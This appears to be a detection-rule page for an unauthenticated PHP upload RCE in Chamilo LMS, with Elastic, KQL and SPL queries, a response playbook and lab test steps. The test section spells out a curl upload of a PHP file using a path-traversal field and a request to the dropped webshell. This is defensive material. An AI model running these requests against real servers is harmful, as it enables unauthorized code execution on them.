Detect Chamilo LMS CStudio Unauthenticated Upload RCE (CVE-2026-45140) in Elastic Security
Detects exploitation of CVE-2026-45140, an unauthenticated remote code execution flaw in Chamilo LMS (<= 2.0.0) via the CStudio content upload flow. The vulnerability chains path traversal (CWE-22), code injection (CWE-94), and unrestricted file upload (CWE-434) to write and execute attacker-controlled PHP on the server without authentication. Detection focuses on anonymous POST requests to CStudio/document upload endpoints, subsequent GET requests to attacker-written scripts under web-accessible upload/course paths, and web-server process spawning shells or interpreters.
MITRE ATT&CK
- Tactic
- Initial Access Execution Persistence
Elastic Detection Query
sequence by source.ip with maxspan=10m
[ any where event.category == "web" and http.request.method == "POST" and
(stringContains(url.path, "cstudio") or stringContains(url.path, "/main/document/upload") or stringContains(url.path, "document.ajax.php") or stringContains(url.path, "ckeditor")) and
(user.name == null or user.name == "-") ]
[ any where event.category == "web" and http.request.method == "GET" and
(endsWith(url.path, ".php") or endsWith(url.path, ".phtml") or endsWith(url.path, ".phar")) and
(stringContains(url.path, "/courses/") or stringContains(url.path, "/upload/") or stringContains(url.path, "/main/document/")) ] Sequences an anonymous CStudio upload POST followed within 10 minutes by an anonymous GET to a PHP file in a web-accessible upload path from the same source IP.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate instructor document uploads misattributed as anonymous
- Authorized scanning tools exercising the upload endpoint
- CMS-served PHP assets under course paths
Other platforms for CVE-2026-45140
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Anonymous CStudio upload POST simulation
Expected signal: Web access log records an anonymous POST to document.ajax.php with a multipart file upload containing a traversal path.
- Test 2Webshell execution GET simulation
Expected signal: Web access log records an anonymous GET to shell.php under /courses/ returning HTTP 200.
- Test 3Web-server spawns shell after RCE
Expected signal: auditd/EDR records a process-creation event with www-data as parent of /bin/sh executing id and uname.
Response Playbook
Triage
- Confirm the target host runs Chamilo LMS at or below version 2.0.0 (check composer.lock / chamilo/chamilo-lms and the platform version banner); versions >= 2.0.1 are patched.
- Review the flagged anonymous POST requests to CStudio/document upload endpoints and identify any newly written files under web-accessible course/upload directories with PHP-executable extensions.
- Correlate the source IP's subsequent GET requests to determine whether an uploaded PHP file returned HTTP 200 (successful execution) versus 403/404.
- Inspect the web-server process tree for the request window for shells or interpreters (sh, bash, php, python) spawned by the web-server user.
Containment
- Block the offending source IP(s) at the WAF/edge and add a temporary rule denying POST requests to the CStudio/document upload endpoints from unauthenticated sessions.
- Quarantine or remove any attacker-written PHP files identified in course/upload directories and revoke write permissions on those directories where feasible.
- Upgrade Chamilo LMS to >= 2.0.1 or apply the vendor fix from commit 4bdba1b9a8820bd70c0809317775d7f6eaa79844.
Evidence Collection
- Preserve web-server access and error logs covering the exploitation window, capturing source IP, User-Agent, request bodies, and response codes.
- Image or copy the uploaded PHP artifacts and any files they created, recording file hashes, timestamps, and ownership before removal.
- Export the web-server process-creation telemetry (EDR/auditd/Sysmon) showing any child processes spawned by the web-server account.
Escalation Criteria
- !Escalate to incident response if any uploaded PHP file returned HTTP 200 or if web-server-spawned shell/interpreter processes are observed, indicating confirmed code execution.
- !Escalate if evidence of lateral movement, credential access, or persistence (cron jobs, new accounts, modified web roots) is found beyond the initial upload.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Attacker-written PHP files (unusual names, recent mtime) under /courses/, /upload/, or /main/document/ directories - >
Web-server access log entries showing anonymous POSTs to CStudio endpoints followed by GETs to the written PHP files - >
Process-creation records where the web-server user (www-data/apache/IIS APPPOOL) is the parent of sh/bash/php/python
Tuning Guidance
Baseline the legitimate set of PHP files served from course/upload directories and the normal upload volume from authenticated instructors, then suppress those known paths. If a fronting proxy strips authentication context, enrich web logs with session or auth-cookie presence to distinguish truly anonymous requests before alerting. Exclude approved vulnerability scanner source IPs.
Hunting Queries
Hunts for GET requests to PHP files inside course/upload directories that are not part of the known Chamilo application file set, indicating attacker-planted webshells.
W3CIISLog | where csMethod == "GET" and csUriStem matches regex @"(?i)\.(php|phtml|phar)$" and csUriStem has_any ("/courses/", "/upload/") | summarize hits=count(), firstSeen=min(TimeGenerated) by csUriStem, cIp | where hits >= 1 index=web sourcetype="apache:access" method=GET uri_path="*/courses/*" (uri_path="*.php" OR uri_path="*.phtml") | stats count min(_time) as firstSeen by uri_path, src_ip Atomic Red Team Tests
Simulates an unauthenticated POST of a PHP payload to the Chamilo CStudio/document upload endpoint against a lab instance.
Command
curl -s -o /dev/null -w '%{http_code}\n' -X POST 'http://chamilo-lab.local/main/inc/ajax/document.ajax.php?a=upload_file' -F 'file=@/tmp/shell.php;type=application/x-php' -F 'curdirpath=../../../courses/testcourse/document' Cleanup
rm -f /var/www/chamilo/courses/testcourse/document/shell.php /tmp/shell.php Expected Telemetry
Web access log records an anonymous POST to document.ajax.php with a multipart file upload containing a traversal path.
Expected Detection
KQL/SPL upload-endpoint rules fire on the anonymous POST to the CStudio upload path.
Requests a previously uploaded PHP file in a web-accessible course directory to simulate webshell execution.
Command
printf '<?php echo "pwned"; ?>' > /var/www/chamilo/courses/testcourse/document/shell.php; curl -s 'http://chamilo-lab.local/courses/testcourse/document/shell.php' Cleanup
rm -f /var/www/chamilo/courses/testcourse/document/shell.php Expected Telemetry
Web access log records an anonymous GET to shell.php under /courses/ returning HTTP 200.
Expected Detection
Detection rules flag the anonymous GET to a PHP file in a course/upload directory following the upload POST.
Simulates code execution by having the web-server user spawn a shell command, as would occur after successful exploitation.
Command
sudo -u www-data /bin/sh -c 'id; uname -a' Cleanup
echo 'no cleanup required — read-only reconnaissance commands' Expected Telemetry
auditd/EDR records a process-creation event with www-data as parent of /bin/sh executing id and uname.
Expected Detection
Process-lineage detection flags the web-server user spawning a shell interpreter.